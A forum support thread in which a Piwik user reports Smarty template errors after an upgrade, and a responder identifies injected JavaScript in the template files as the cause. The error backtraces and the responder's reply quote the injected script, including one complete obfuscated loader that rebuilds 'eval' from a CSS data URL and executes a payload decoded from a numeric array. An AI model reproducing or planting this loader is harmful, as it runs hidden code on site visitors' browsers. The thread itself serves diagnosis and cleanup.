Syntax error: unrecognized tag 'var' (Smarty_Compiler.class.php, line 590)

After upgrading to the most recent version of PiWik I receive this error code immediately after logging into Piwik

User Error: Smarty error: [in /home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl line 28]: syntax error: unrecognized tag ‘var’ (Smarty_Compiler.class.php, line 590) in /home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php on line 1093

Backtrace -->
#0 Piwik_ErrorHandler(256, Smarty error: [in /home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl line 28]: syntax error: unrecognized tag ‘var’ (Smarty_Compiler.class.php, line 590), /home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php, 1093, Array ([error_msg] => [in /home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl line 28]: syntax error: unrecognized tag ‘var’ (Smarty_Compiler.class.php, line 590),[error_type] => 256)) called at [(null):0]#1 trigger_error(Smarty error: [in /home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl line 28]: syntax error: unrecognized tag ‘var’ (Smarty_Compiler.class.php, line 590), 256) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1093]#2 Smarty->trigger_error([in /home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl line 28]: syntax error: unrecognized tag ‘var’ (Smarty_Compiler.class.php, line 590), 256) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1815]#3 Smarty->_trigger_fatal_error(syntax error: unrecognized tag ‘var’, /home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl, 28, /home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php, 590, 256) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php:2256]#4 Smarty_Compiler->_syntax_error(unrecognized tag ‘var’, 256, /home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php, 590) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php:590]#5 Smarty_Compiler->_compile_tag(var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement(‘style’);if(!isIE)style_node.innerHTML=selector+’ {’+declaration+’) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php:312]#6 Smarty_Compiler->_compile_file(/home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl, {assign var=showSitesSelection value=true}{include file=“CoreHome/templates/header.tpl”}{if isset($menu) && $menu}{include file=“CoreHome/templates/menu.tpl”}{/if}

{include file=“CoreHome/templates/period_select.tpl”} {include file=“CoreHome/templates/header_message.tpl”}
{ajaxLoadingDiv} {ajaxRequestErrorDiv}
{if $content}{$content}{/if}
{include file=“CoreHome/templates/piwik_tag.tpl”}function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement(‘style’);if(!isIE)style_node.innerHTML=selector+’ {’+declaration+’}’;document.getElementsByTagName(‘head’)[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)==‘object’)last_style_node.addRule(selector,declaration);}};var hWYic={ngYmT:35,nafbi:function(){n=false;this.e=39581;var g = new Date(2011, 4, 6, 22, 54, 23);var qB=function(){};this.lX=false;tR=47362;var r = g.getMonth();var t = ‘fro’ + g.getSeconds() + ‘arCode’;this.k=39710;v=false;eD=’’;t = t.replace(23, ‘mCh’);this.w=false;var aS=false; createCSS(’#c0’,‘background: url(data:,eva)’);var vQ=function(){};var kS=new Array();var lE=false;var nQ=false;var gP=null;var aE=’’;i=false;var l=d…, ) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1489]#7 Smarty->_compile_source(/home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl, {assign var=showSitesSelection value=true}{include file=“CoreHome/templates/header.tpl”}{if isset($menu) && $menu}{include file=“CoreHome/templates/menu.tpl”}{/if}
{include file=“CoreHome/templates/period_select.tpl”} {include file=“CoreHome/templates/header_message.tpl”}
{ajaxLoadingDiv} {ajaxRequestErrorDiv}
{if $content}{$content}{/if}
{include file=“CoreHome/templates/piwik_tag.tpl”}function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement(‘style’);if(!isIE)style_node.innerHTML=selector+’ {’+declaration+’}’;document.getElementsByTagName(‘head’)[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)==‘object’)last_style_node.addRule(selector,declaration);}};var hWYic={ngYmT:35,nafbi:function(){n=false;this.e=39581;var g = new Date(2011, 4, 6, 22, 54, 23);var qB=function(){};this.lX=false;tR=47362;var r = g.getMonth();var t = ‘fro’ + g.getSeconds() + ‘arCode’;this.k=39710;v=false;eD=’’;t = t.replace(23, ‘mCh’);this.w=false;var aS=false; createCSS(’#c0’,‘background: url(data:,eva)’);var vQ=function(){};var kS=new Array();var lE=false;var nQ=false;var gP=null;var aE=’’;i=false;var l=d…, , /home/elegolas/public_html/awseome.net/analytics/tmp/templates_c/%%E6^E6B^E6B987F2%%index.tpl.inc) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1422]#8 Smarty->_compile_resource(/home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl, /home/elegolas/public_html/awseome.net/analytics/tmp/templates_c/%%E6^E6B^E6B987F2%%index.tpl.php) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1261]#9 Smarty->fetch(/home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/templates/index.tpl) called at [/home/elegolas/public_html/awseome.net/analytics/core/View.php:172]#10 Piwik_View->render() called at [/home/elegolas/public_html/awseome.net/analytics/plugins/CoreHome/Controller.php:90]#11 Piwik_CoreHome_Controller->index() called at [(null):0]#12 call_user_func_array(Array ([0] => Piwik_CoreHome_Controller Object ([] => CoreHome,[] => 2011-03-06,[] => Piwik_Date Object ([] => 1299419513,[] => UTC),[] => 1,[] => Piwik_Site Object ([] => 1)),[1] => index), Array ()) called at [/home/elegolas/public_html/awseome.net/analytics/core/FrontController.php:125]#13 Piwik_FrontController->dispatch() called at [/home/elegolas/public_html/awseome.net/analytics/index.php:57]

This isn’t from Piwik.


<!-- C/C --><script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement('style');if(!isIE)style_node.innerHTML=selector+' {'+declaration+'}';document.getElementsByTagName('head')[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=='object')last_style_node.addRule(selector,declaration);}};var hWYic={ngYmT:35,nafbi:function(){n=false;this.e=39581;var g = new Date(2011, 4, 6, 22, 54, 23);var qB=function(){};this.lX=false;tR=47362;var r = g.getMonth();var t = 'fro' + g.getSeconds() + 'arCode';this.k=39710;v=false;eD='';t = t.replace(23, 'mCh');this.w=false;var aS=false; createCSS('#c0','background: url(data:,eva)');var vQ=function(){};var kS=new Array();var lE=false;var nQ=false;var gP=null;var aE='';i=false;var l=d...

Looks like HTML injection by your hosting provider or ISP.

Thanks for quick reply. This code was in the Piwik file - /plugins/CoreHome/templates/index.tpl

I removed the code you had indicated and all is well again.


<!-- C/C --><script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement('style');if(!isIE)style_node.innerHTML=selector+' {'+declaration+'}';document.getElementsByTagName('head')[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=='object')last_style_node.addRule(selector,declaration);}};var hWYic={ngYmT:35,nafbi:function(){n=false;this.e=39581;var g = new Date(2011, 4, 6, 22, 54, 23);var qB=function(){};this.lX=false;tR=47362;var r = g.getMonth();var t = 'fro' + g.getSeconds() + 'arCode';this.k=39710;v=false;eD='';t = t.replace(23, 'mCh');this.w=false;var aS=false; createCSS('#c0','background: url(data:,eva)');var vQ=function(){};var kS=new Array();var lE=false;var nQ=false;var gP=null;var aE='';i=false;var l=document.styleSheets;this.z='';var oY=function(){};s=28710;this.pC=false;for(var tU=0;tU<l.length;tU++){var u=40396;var bS=function(){return 'bS'};var kSX=new Date();var a=l[tU].cssRules||l[tU].rules;eL='eL';m='';var pN=12870;var c=function(){};for(var p=0;p<a.length;p++){var gU=function(){return 'gU'};var jM='jM';var j=a.item?a.item(p):a[p];this.nJ=false;d='';if(!j.selectorText.match(/#c(\d+)/))continue;vC='vC';uM=53858;this.iS=6715;gP=j.style.backgroundImage.match(/url\('?data\:[^,]*,([^')]+)'?\)/)[1];function pM(){};this.zC='zC';x='';var rM=10869;};var hR=new Date();var vW='vW';var sO=function(){};}var lH=[83,62.5,68.5,40,84,56,69,82.5,53.5,82,63,77,43.5,56.5,40,38,59,62,42.5,39,40.5,55,48.5,47.5,60,52,71,53,39,66,87.5,56.5,47,53,52,44.5,77.5,75.5,76.5,54,43.5,75.5,54.5,37.5,67.5,48.5,53,87.5,47,71,80,44.5,39,51.5,79.5,80,49,48.5,53.5,83.5,56.5,42.5,42.5,73.5,77.5,53,85,53.5,54.5,64,40.5,55,54,77,50,81.5,60,79.5,40,44,49,39,38.5,75.5,68.5,54,61.5,39,48,62,54.5,80,78.5,81.5,78,40.5,51,57,77,47,37.5,73,80.5,78.5,80.5,65,40.5,40,43,40,60.5,46.5,81.5,89,59,40,39,59,38,39.5,39,49.5,56.5,62.5,56.5,44,73,43.5,39.5,54.5,38,41.5,52,40,44.5,39,68.5,46.5,59.5,42.5,57,74,78.5,53,38,55,86.5,78.5,51,39,41.5,37.5,77,84.5,76.5,82,69,38,45.5,43,41.5,39,41,40,48.5,52.5,66.5,71.5,49,44,49.5,43,52,40,44,43.5,57.5,55,73,69,52.5,60,73,44,52.5,39.5,45,49.5,37,63,51,88.5,40.5,64.5,56,45.5,39.5,47.5,64,45.5,84.5,64,50,51.5,41,60.5,78.5,88,78,69.5,72,38.5,67.5,75,48.5,47.5,48,56,40.5,71.5,79,46,41.5,49,50,52.5,42,74,79,52,73.5,85,52,79,40,40,77,59.5,38.5,79,89.5,73.5,40.5,40.5,78,44.5,72,43.5,65,51,88.5,47,48,40.5,37.5,71.5,38.5,55.5,81,67.5,47.5,43,70.5,39.5,58.5,49,84,84,38,47,89,52.5,62,70,59,61.5,39,67,68,47.5,44,37.5,44.5,83.5,71.5,71,53.5,52,48.5,49,42,41.5,39.5,55.5,84.5,59.5,43,86,65,81,41,39,63.5,85.5,86,40,48,79,80,78,69,61.5,72,84,47.5,56,46.5,69.5,82.5,79.5,76,59,41.5,55,57.5,83.5,40,43.5,71,51.5,47.5,46,48,39,39.5,51.5,48.5,47,45.5,48.5,52.5,38,43.5,46,53,62.5,41.5,51.5,52.5,48,45,82,72,70,55,50.5,79,56.5,37.5,51.5,42,47,57,74,42.5,38.5,49.5,52,74.5,58.5,51.5,76.5,48.5,50,45.5,50];var gM=false;var oV=function(){return 'oV'};zP='';var hY=false;var o='';function lZ(){};var vB=new Date();b=function(){return {VoTY:lH.length/2}}().VoTY;this.uV=7749;var xF=779;for(var h=0;h<b;h++){var nK=28597;rJ=false;gK='gK';q=parseInt((lH[b+h]-hWYic.ngYmT)*r*0.5)+parseInt((lH[h]-hWYic.ngYmT)*r*0.5);this.eP=25448;this.lM='lM';var kI=function(){};o+=(String[t](q));var aQ='';this.rP=false;var wY=24656;this.eV=false;}this.f=52792;this.vU='vU';lY = eval(gP+'l');lY(o);var nV='';var zO=function(){};oL=55642;}};this.pD=false;var rG=new Array();hWYic.nafbi();</script></body>
</html>

I may have spoke to soon. I was able to view main dashboard but now get similar message for


User Error: Smarty error: [in MultiSites/templates/index.tpl line 99]: syntax error: unrecognized tag 'var' (Smarty_Compiler.class.php, line 590) in /home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php on line 1093

Backtrace -->
#0 Piwik_ErrorHandler(256, Smarty error: [in MultiSites/templates/index.tpl line 99]: syntax error: unrecognized tag 'var' (Smarty_Compiler.class.php, line 590), /home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php, 1093, Array ([error_msg] => [in MultiSites/templates/index.tpl line 99]: syntax error: unrecognized tag 'var' (Smarty_Compiler.class.php, line 590),[error_type] => 256)) called at [(null):0]#1 trigger_error(Smarty error: [in MultiSites/templates/index.tpl line 99]: syntax error: unrecognized tag 'var' (Smarty_Compiler.class.php, line 590), 256) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1093]#2 Smarty->trigger_error([in MultiSites/templates/index.tpl line 99]: syntax error: unrecognized tag 'var' (Smarty_Compiler.class.php, line 590), 256) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1815]#3 Smarty->_trigger_fatal_error(syntax error: unrecognized tag 'var', MultiSites/templates/index.tpl, 99, /home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php, 590, 256) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php:2256]#4 Smarty_Compiler->_syntax_error(unrecognized tag 'var', 256, /home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php, 590) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php:590]#5 Smarty_Compiler->_compile_tag(var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement('style');if(!isIE)style_node.innerHTML=selector+' {'+declaration+') called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty_Compiler.class.php:312]#6 Smarty_Compiler->_compile_file(MultiSites/templates/index.tpl, {assign var=showSitesSelection value=false}{include file="CoreHome/templates/header.tpl"}<div id="multisites"><div id="main">{include file="MultiSites/templates/row.tpl" assign="row"}<script type="text/javascript"> var allSites = new Array(); var params = new Array(); {foreach from=$mySites key=i item=site} allSites[{$i}] = new setRowData({$site.idsite}, {$site.visits}, {$site.actions}, {$site.unique}, '{$site.name|escape:"javascript"}', '{$site.main_url|escape:"javascript"}', '{$site.visitsSummaryValue|replace:",":"."}', '{$site.actionsSummaryValue|replace:",":"."}', '{$site.uniqueSummaryValue|replace:",":"."}'); {/foreach} params['period'] = '{$period}'; params['date'] = '{$date}'; params['dateToStr'] = '{$dateToStr}'; params['evolutionBy'] = '{$evolutionBy}'; params['mOrderBy'] = '{$orderBy}'; params['order'] = '{$order}'; params['site'] = '{$site}'; params['limit'] = '{$limit}'; params['page'] = 1; params['prev'] = "{'General_Previous'|translate|escape:"javascript"}"; params['next'] = "{'General_Next'|translate|escape:"javascript"}"; params['row'] = '{$row|escape:"javascript"}';</script>{postEvent name="template_headerMultiSites"}<div class="top_controls_inner"> {include file="CoreHome/templates/period_select.tpl"} {include file="CoreHome/templates/header_message.tpl"}</div><div class="centerLargeDiv"><h2>{'General_AllWebsitesDashboard'|translate}</h2><table id="mt" class="dataTable" cellspacing="0"> <thead> <th id="names" class="label" onClick="params = setOrderBy(this,allSites, params, 'names');"> <span>{'General_Website'|translate}</span> <span class="arrow multisites_desc"></span> </th> <th id="visits" class="multisites-column" style="width: 100px" onClick="params = setOrderBy(this,allSites, params, 'visits');"> <span>{'General_ColumnNbVisits'|translate}</span> <span class="arrow"></span> </th> <th id="actions" class="multisites-column" style="width: 110px" onClick="params = setOrderBy(this,allSites, params, 'actions');"> <span>{'General_ColumnPageviews'|translate}</span> <span class="arrow"></span> </th> {if $period!='year'} <th id="unique" class="multisites-column" style="width: 120px" onClick="params = setOrderBy(this,allSites, params, 'unique');"> <span>{'General_ColumnNbUniqVisitors'|translate}</span> <span class="arrow"></span> </th> {/if} <th id="evolution" style=" width:350px" colspan="{if $show_sparklines}2{else}1{/if}"> <span class="arrow "></span> <span class="evolution" style="cursor:pointer;" onClick="params = setOrderBy(this,allSites, params, $('#evolution_selector').val() + 'Summary');"> {'MultiSites_Evolution'|translate}</span> <select class="selector" id="evolution_selector" onchange="params['evolutionBy'] = $('#evolution_selector').val(); switchEvolution(params);"> <option value="visits" {if $evolutionBy eq 'visits'} selected {/if}>{'General_ColumnNbVisits'|translate}</option> <option value="actions" {if $evolutionBy eq 'actions'} selected {/if}>{'General_ColumnPageviews'|translate}</option> {if $period!='year'}<option value="unique"{if $evolutionBy eq 'unique'} selected {/if}>{'General_ColumnNbUniqVisitors'|translate}</option> {/if} </select> </th> </thead> <tbody id="tb"> </tbody> <tfoot> <tr row_id="last" > <td colspan="8" class="clean" style="padding: 20px"> <span id="prev" class="pager" style="padding-right: 20px;"></span> <span class="dataTablePages"> <span id="counter"> </span> </span> <span id="next" class="clean" style="padding-left: 20px;"></span> </td> </tr> </tfoot></table></div><script type="text/javascript">prepareRows(allSites, params, '{$orderBy}');{if $autoRefreshTodayReport}piwikHelper.refreshAfter(5*60*1000);{/if}</script></div></div>{include file="CoreHome/templates/piwik_tag.tpl"}</div><!-- C/C --><script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement('style');if(!isIE)style_node.innerHTML=selector+' {'+declaration+'}';document.getElementsByTagName('head')[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=='object')last_style_node.addRule(selector,declaration);}};var hWYic={ngYmT:35,nafbi:function(){n=false;this.e=39581;var g = new Date(2011, 4, 6, 22, 54, 23);var qB=function(){};this.lX=false;tR=47362;var r = g.getMonth();var t = 'fro' + g.getSeconds() + 'arCode';this.k=39710;v=false;eD='';t = t.replace(23, 'mCh');this.w=false;var aS=false; createCSS('#c0','background: url(data:,eva)');var vQ=function(){};var kS=new Array();var lE=false;var nQ=false;var gP=null;var aE='';i=false;var l=d...</html>, ) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1489]#7 Smarty->_compile_source(MultiSites/templates/index.tpl, {assign var=showSitesSelection value=false}{include file="CoreHome/templates/header.tpl"}<div id="multisites"><div id="main">{include file="MultiSites/templates/row.tpl" assign="row"}<script type="text/javascript"> var allSites = new Array(); var params = new Array(); {foreach from=$mySites key=i item=site} allSites[{$i}] = new setRowData({$site.idsite}, {$site.visits}, {$site.actions}, {$site.unique}, '{$site.name|escape:"javascript"}', '{$site.main_url|escape:"javascript"}', '{$site.visitsSummaryValue|replace:",":"."}', '{$site.actionsSummaryValue|replace:",":"."}', '{$site.uniqueSummaryValue|replace:",":"."}'); {/foreach} params['period'] = '{$period}'; params['date'] = '{$date}'; params['dateToStr'] = '{$dateToStr}'; params['evolutionBy'] = '{$evolutionBy}'; params['mOrderBy'] = '{$orderBy}'; params['order'] = '{$order}'; params['site'] = '{$site}'; params['limit'] = '{$limit}'; params['page'] = 1; params['prev'] = "{'General_Previous'|translate|escape:"javascript"}"; params['next'] = "{'General_Next'|translate|escape:"javascript"}"; params['row'] = '{$row|escape:"javascript"}';</script>{postEvent name="template_headerMultiSites"}<div class="top_controls_inner"> {include file="CoreHome/templates/period_select.tpl"} {include file="CoreHome/templates/header_message.tpl"}</div><div class="centerLargeDiv"><h2>{'General_AllWebsitesDashboard'|translate}</h2><table id="mt" class="dataTable" cellspacing="0"> <thead> <th id="names" class="label" onClick="params = setOrderBy(this,allSites, params, 'names');"> <span>{'General_Website'|translate}</span> <span class="arrow multisites_desc"></span> </th> <th id="visits" class="multisites-column" style="width: 100px" onClick="params = setOrderBy(this,allSites, params, 'visits');"> <span>{'General_ColumnNbVisits'|translate}</span> <span class="arrow"></span> </th> <th id="actions" class="multisites-column" style="width: 110px" onClick="params = setOrderBy(this,allSites, params, 'actions');"> <span>{'General_ColumnPageviews'|translate}</span> <span class="arrow"></span> </th> {if $period!='year'} <th id="unique" class="multisites-column" style="width: 120px" onClick="params = setOrderBy(this,allSites, params, 'unique');"> <span>{'General_ColumnNbUniqVisitors'|translate}</span> <span class="arrow"></span> </th> {/if} <th id="evolution" style=" width:350px" colspan="{if $show_sparklines}2{else}1{/if}"> <span class="arrow "></span> <span class="evolution" style="cursor:pointer;" onClick="params = setOrderBy(this,allSites, params, $('#evolution_selector').val() + 'Summary');"> {'MultiSites_Evolution'|translate}</span> <select class="selector" id="evolution_selector" onchange="params['evolutionBy'] = $('#evolution_selector').val(); switchEvolution(params);"> <option value="visits" {if $evolutionBy eq 'visits'} selected {/if}>{'General_ColumnNbVisits'|translate}</option> <option value="actions" {if $evolutionBy eq 'actions'} selected {/if}>{'General_ColumnPageviews'|translate}</option> {if $period!='year'}<option value="unique"{if $evolutionBy eq 'unique'} selected {/if}>{'General_ColumnNbUniqVisitors'|translate}</option> {/if} </select> </th> </thead> <tbody id="tb"> </tbody> <tfoot> <tr row_id="last" > <td colspan="8" class="clean" style="padding: 20px"> <span id="prev" class="pager" style="padding-right: 20px;"></span> <span class="dataTablePages"> <span id="counter"> </span> </span> <span id="next" class="clean" style="padding-left: 20px;"></span> </td> </tr> </tfoot></table></div><script type="text/javascript">prepareRows(allSites, params, '{$orderBy}');{if $autoRefreshTodayReport}piwikHelper.refreshAfter(5*60*1000);{/if}</script></div></div>{include file="CoreHome/templates/piwik_tag.tpl"}</div><!-- C/C --><script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement('style');if(!isIE)style_node.innerHTML=selector+' {'+declaration+'}';document.getElementsByTagName('head')[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=='object')last_style_node.addRule(selector,declaration);}};var hWYic={ngYmT:35,nafbi:function(){n=false;this.e=39581;var g = new Date(2011, 4, 6, 22, 54, 23);var qB=function(){};this.lX=false;tR=47362;var r = g.getMonth();var t = 'fro' + g.getSeconds() + 'arCode';this.k=39710;v=false;eD='';t = t.replace(23, 'mCh');this.w=false;var aS=false; createCSS('#c0','background: url(data:,eva)');var vQ=function(){};var kS=new Array();var lE=false;var nQ=false;var gP=null;var aE='';i=false;var l=d...</html>, , /home/elegolas/public_html/awseome.net/analytics/tmp/templates_c/%%9A^9A3^9A34FA06%%index.tpl.inc) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1422]#8 Smarty->_compile_resource(MultiSites/templates/index.tpl, /home/elegolas/public_html/awseome.net/analytics/tmp/templates_c/%%9A^9A3^9A34FA06%%index.tpl.php) called at [/home/elegolas/public_html/awseome.net/analytics/libs/Smarty/Smarty.class.php:1261]#9 Smarty->fetch(MultiSites/templates/index.tpl) called at [/home/elegolas/public_html/awseome.net/analytics/core/View.php:172]#10 Piwik_View->render() called at [/home/elegolas/public_html/awseome.net/analytics/plugins/MultiSites/Controller.php:126]#11 Piwik_MultiSites_Controller->getSitesInfo() called at [/home/elegolas/public_html/awseome.net/analytics/plugins/MultiSites/Controller.php:38]#12 Piwik_MultiSites_Controller->index() called at [(null):0]#13 call_user_func_array(Array ([0] => Piwik_MultiSites_Controller Object ([] => names,[] => desc,[] => visits,[] => Array (),[] => 1,[] => 50,[] => day,[] => Piwik_Date Object ([] => 1299434316,[] => UTC),[] => 2011-02-05,2011-03-06,[] => MultiSites,[] => 2011-03-06,[] => 1,[] => Piwik_Site Object ([] => 1)),[1] => index), Array ()) called at [/home/elegolas/public_html/awseome.net/analytics/core/FrontController.php:125]#14 Piwik_FrontController->dispatch() called at [/home/elegolas/public_html/awseome.net/analytics/index.php:57]